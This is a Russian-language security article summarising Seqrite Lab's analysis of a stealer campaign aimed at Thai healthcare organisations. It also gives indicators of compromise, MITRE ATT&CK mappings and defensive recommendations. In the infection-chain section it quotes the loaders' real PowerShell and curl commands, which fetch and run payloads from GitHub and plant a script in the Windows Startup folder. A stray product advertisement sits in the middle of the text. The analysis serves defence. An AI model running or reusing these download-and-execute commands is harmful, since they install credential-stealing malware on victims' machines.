Исследователи Seqrite Lab выявили кампанию против сектора здравоохранения Таиланда: после распаковки и запуска пользователем вложенного BAT-файла вредоносные RAR-архивы приводят к многоэтапной цепочке скриптов, закреплению через папку «Автозагрузка», загрузке компонентов с GitHub и запуску Python-стилера. В проанализированных случаях попытки передать собранные данные через Telegram не удались из-за тайм-аутов при соединении с api[.]telegram[.]org.
По оценке Seqrite Lab, активность выглядит как целенаправленная атака на тайскую медицинскую отрасль. Окончательно атрибутировать ее конкретному оператору исследователи не смогли. С умеренной степенью уверенности они связывают образцы с одним злоумышленником или тесно связанной группой: во всех случаях повторяются схема доставки, набор компонентов и приемы исполнения.
Самый ранний выявленный образец был загружен 7 апреля 2026 года, самый поздний — 3 июня 2026 года. Таким образом, на момент исследования кампания продолжалась около десяти недель. Все обнаруженные образцы были загружены из Таиланда. Это может указывать на использование локальной инфраструктуры промежуточного хранения либо скомпрометированных систем внутри страны, но не подтверждает способ распространения и не позволяет установить исполнителей.
Подтвержденных признаков активности этой кампании против российских организаций в исходных данных нет. При этом использованные приемы — фишинговые вложения, маскировка скриптов под документы и файлы иных типов, загрузка компонентов с легитимного хостинга, закрепление через Startup и кража браузерных данных — технически не привязаны к Таиланду.
Кого пытались заинтересовать приманками
Операторы подбирали тематику файлов под отдельные функции в тайской системе здравоохранения. Seqrite Lab выделяет несколько категорий потенциальных получателей:
- сотрудников Министерства здравоохранения и государственных групп по закупкам медицинских товаров — через имитацию документов об утверждении медицинского оборудования;
- административный персонал больниц — через поддельные запросы на госпитализацию пациентов;
- работников радиологических и стоматологических клиник — через сфабрикованные медицинские карты и файлы с запросами на рентгеновские исследования;
- клинические и радиологические отделения — через ложные документы с результатами компьютерной томографии;
- сотрудников цепочек поставок в здравоохранении и закупочных подразделений — через разрешительные документы с логотипом Министерства здравоохранения.
Специализация приманок указывает на воздействие на медицинские функции и знание типовых рабочих процессов отрасли. При этом исследователи рассматривают два объяснения: предварительную разведку конкретных организаций либо более широкое таргетирование, основанное на понимании специфики сектора.
Как устроена цепочка заражения
Наблюдавшаяся последовательность выглядит так: RAR-архив → зашифрованный BAT-загрузчик → обфусцированный с помощью Rouki загрузчик полезной нагрузки → скрипт закрепления WindowSecuryt.bat → вторичный BAT-компонент u-t2.bat → Python-стилер sim.py → попытки эксфильтрации через Telegram.
Во всех найденных образцах повторяется схема RAR → BAT → полезная нагрузка. По мнению исследователей, это говорит о стандартизированном наборе инструментов и воспроизводимой методологии доставки. В цепочке применяются несколько уровней обфускации, встроенные данные, PowerShell, curl, временные и общедоступные каталоги Windows, а также удаленные файлы в репозиториях GitHub.
RAR-архив и первичный загрузчик
Начальный вектор представляет собой RAR-архив с обфусцированным пакетным файлом первого этапа. Для начала цепочки необходимо исполнение этого вложенного BAT-файла пользователем либо иной способ его запуска. Один из образцов носит имя Health_Ministry_Approved_Equipment_2026.bat. Он создает временный файл с закодированными данными полезной нагрузки, использует PowerShell для декодирования встроенного содержимого, записывает результат во вторичный BAT-файл и затем запускает его.
После исполнения временные артефакты удаляются. Это сокращает число доступных криминалистических следов и затрудняет расследование после компрометации. Встроенная полезная нагрузка, декодирование через PowerShell и очистка файлов скрывают функциональность и осложняют статический анализ.
Обфусцированный Rouki-компонент
Расшифрованный на первом этапе файл payload.bat, согласно анализу Seqrite Lab, сильно обфусцирован с использованием фреймворка Rouki. Скрипт динамически восстанавливает и выполняет PowerShell-команды для загрузки дополнительных компонентов, закрепления на устройстве и запуска следующих стадий.
Первая команда получает с GitHub файл, выданный за PNG-изображение, и сохраняет его как BAT-скрипт в папке автозагрузки Windows:
powershell.exe -WindowStyle Hidden -Command “[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile(‘https://github.com/ud-7-te/ud-vtn/raw/main/up-t2.png’, ‘C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowSecuryt.bat’);”
Так создается WindowSecuryt.bat. Его размещение в Startup обеспечивает автоматическое выполнение при каждом входе пользователя в систему и закрепляет исходный механизм запуска. Подмена назначения файла расширением PNG, по оценке исследователей, должна затруднить оценку его фактической роли.
Вторая команда скачивает ZIP-архив, распаковывает его в общедоступный каталог, запускает sim.py с помощью включенного в комплект интерпретатора Python и удаляет загруженный ZIP-файл:
powershell.exe -Command “[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile(‘https://github.com/d7-te/vtn/raw/main/T2.zip’, ‘C:\Users\Public\Desktops.zip’); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory(‘C:\Users\Public\Desktops.zip’, ‘C:\Users\Public\Desktops’); Start-Sleep -Seconds 1; C:\Users\Public\Desktops\python C:\Users\Public\Desktops\Lib\sim.py; del C:\Users\Public\Desktops.zip”
Архив сохраняется как C:\Users\Public\Desktops.zip, извлекается в C:\Users\Public\Desktops, а затем удаляется. Использование GitHub, обманчивых расширений и многоэтапного исполнения позволяет операторам менять доставляемые компоненты без замены первоначального файла и одновременно снижать заметность цепочки.
WindowSecuryt.bat: закрепление и загрузка следующего этапа
Загруженный в Startup скрипт WindowSecuryt.bat содержит значительный объем нефункциональных данных и обфускацию, похожую на примененную в предыдущих BAT-компонентах. Такой код предназначен для усложнения статического анализа и сокрытия реального потока исполнения.
При выборе SIEM-платформы для централизованной корреляции журналов можно отдельно изучить Security Capsule SIEM и сопоставить её с требованиями своей инфраструктуры.
Перед заключительной функциональной стадией скрипт проверяет привилегии и настраивает среду. Затем он восстанавливает и выполняет команду:
cmd /c “curl hxxps://raw.githubusercontent.com/ud-7-te/ud-vtn/main/ud-t2.txt -o C:\Users\admin\AppData\Local\Temp\u-t2.bat && call C:\Users\admin\AppData\Local\Temp\u-t2.bat”
Команда curl загружает дополнительный BAT-компонент u-t2.bat из GitHub-репозитория, где тот маскируется под TXT-файл. Файл сохраняется во временном каталоге пользователя и сразу запускается через call. Каталог %TEMP% в большинстве сред доступен на запись без повышенных привилегий.
Закрепление через папку «Автозагрузка» означает, что при каждом входе пользователя WindowSecuryt.bat может вновь получить и запустить текущую версию удаленного компонента. Это позволяет операторам обновлять функциональность последующих этапов без изменения первоначального механизма персистентности и поддерживать долгосрочный контроль над цепочкой заражения.
u-t2.bat и скрытый запуск Python-стилера
Вторичный скрипт u-t2.bat также содержит бесполезный код и запутывающие фрагменты, сходные с теми, что присутствуют в более ранних BAT-файлах. Нефункциональные элементы расположены в начале скрипта, а полезная логика скрыта глубже и раскрывается в ходе выполнения.
u-t2.bat пытается перезапустить себя с повышенными привилегиями, чтобы получить более широкий доступ к системе. После успешного повышения прав он скрытно запускает следующую полезную нагрузку:
powershell.exe -WindowStyle Hidden -Command “C:\Users\Public\Desktops\python C:\Users\Public\Desktops\Lib\sim.py”
Команда использует ранее развернутый интерпретатор Python и исполняет sim.py без отображения окон. Наличие собственного интерпретатора позволяет работать независимо от того, установлена ли на целевой системе отдельная версия Python, и уменьшает зависимости при развертывании.
Возможности sim.py
Финальной выявленной полезной нагрузкой стал Python-стилер sim.py. После запуска он завершает процессы Google Chrome, Microsoft Edge, Brave и других браузеров на базе Chromium с помощью taskkill. Такое поведение используется для доступа к браузерным базам данных, хранилищам учетных данных, cookie и артефактам пользовательских сессий, которые могут быть заблокированы активными процессами браузеров.
Исследователи зафиксировали следующие возможности программы:
- сбор данных, связанных с браузерами;
- сбор сохраненных учетных данных и сведений о сессиях;
- размещение собранных данных во временных каталогах;
- упаковку результатов в ZIP-архивы;
- попытки передачи данных через инфраструктуру Telegram.
Журналы исполнения показали многократные попытки отправить информацию в контролируемые атакующими Telegram-каналы через Telegram Bot API. Для этого использовались жестко заданные токены ботов и идентификаторы чатов. В запросах на эксфильтрацию присутствовали специфичные для жертвы метаданные: системные идентификаторы, имя пользователя, счетчики собранных данных и ссылки на архивы.
В наблюдавшихся запусках передача не состоялась: соединения с api.telegram.org завершались по тайм-ауту. Это не меняет предполагаемого назначения компонента. Сочетание сбора браузерных данных, локального промежуточного хранения, создания архивов и попыток отправки через Telegram указывает на возможности стилера по краже информации. Seqrite Lab характеризует его как инструмент с признаками современных Python-стилеров, включая кражу учетных данных и сессионных cookie, локальное накопление данных, архивирование и вывод через Telegram.
Выводы и практические меры
По данным Seqrite Lab, кампания сочетает медицинские приманки социальной инженерии, многоступенчатые пакетные загрузчики, размещение полезных нагрузок на GitHub, закрепление через папку «Автозагрузка» и Python-компонент для кражи информации. Доставка с легитимного хостинга, применение стандартных системных утилит, многоуровневая обфускация и поэтапное выполнение повышают гибкость операторов и могут осложнять обнаружение.
Организациям здравоохранения и связанным с ними поставщикам исследователи рекомендуют:
- С осторожностью относиться к фишинговым сообщениям с документами и проверять RAR-вложения и BAT-файлы, особенно если они маскируются под служебные документы.
- Отслеживать несанкционированные изменения в папке «Автозагрузка» и ограничивать запуск недоверенных скриптов и бинарных файлов, полученных из внешних источников.
- Проверять загрузки с GitHub, когда расширение удаленного объекта не соответствует фактическому назначению: в этой кампании BAT-файл загружался под видом PNG, а другой BAT-компонент — под видом TXT.
- Учитывать как дополнительные признаки запуск скриптов из временных и общедоступных каталогов, завершение процессов Chromium-браузеров, последующее архивирование данных и обращения к Telegram Bot API.
Индикаторы компрометации
Health_Ministry_Approved_Equipment_2026.rar—E5F6D9D405819E6B05B5D8268A2E973294859AD65237EDE36AB612B536D0AC2BHealth_Ministry_Approved_Equipment_2026.bat—4EEBC38297A307D18784D6F9EBC8AA6E6F69860BE970CC70D9E544DEB1FF6CE0payload.bat—F4D4B8CAC004BB63834C6DF436721BABD9464C09787C80B268D839E0AADA9F87WindowSecuryt.bat—74BB6AD7E1310F30A3E24FD3CBBFFA2C0C41C64E89E5D0DD1D6900E96B914183u-t2.bat—7709D8C34D490509F3624104611EB75A862944DD9D7A642F44514ADA16C85EE9Desktops.zip—523388567630E4FBDC359F75232BF2AD82671A680D4BFDCE0237FC30DFEC4C80- Stealer (
SIM.PY) —442E0F4E822842922E7E4685840194E99FD68C7F0EC38C1925914B8F724D5865
Seqrite детектирует связанные объекты как Script.Trojan.Downloader.50836.GC и cld.script.trojan.1759432951.
Соответствие MITRE ATT&CK
Исследователи сопоставили наблюдаемую активность со следующими техниками MITRE ATT&CK:
- первоначальный доступ — Phishing: Spearphishing Attachment, T1566.001;
- выполнение — Command and Scripting Interpreter: Windows Command Shell, T1059.003; Command and Scripting Interpreter: PowerShell, T1059.001; User Execution: Malicious File, T1204.002;
- обход защитных средств — Obfuscated/Compressed Files and Information, T1027; Masquerading, T1036; Indicator Removal on Host: File Deletion, T1070.004;
- закрепление — Registry Run Keys / Startup Folder, T1547.001; Boot or Logon Autostart Execution через папку «Автозагрузка», T1547;
- повышение привилегий — Abuse Elevation Control Mechanism, T1548;
- обнаружение — System Owner/User Discovery, T1033;
- доступ к учетным данным — Credentials from Password Stores, T1555; Credentials from Web Browsers, T1555.003;
- сбор — Archive Collected Data, T1560; Data from Local System, T1005; Data from Information Repositories, T1213;
- управление и контроль — Ingress Tool Transfer, T1105; Application Layer Protocol: Web Protocols, T1071.001; Web Service через GitHub, T1102;
- эксфильтрация — Exfiltration Over Web Service, T1567; Exfiltration to Cloud Storage/Web Service, T1567.002.
Окончательная атрибуция кампании остается неподтвержденной. По оценке Seqrite Lab, дальнейшее наблюдение за связанной инфраструктурой, изменениями полезной нагрузки и характеристиками жертв может дать дополнительные данные о целях операции и ее возможных исполнителях.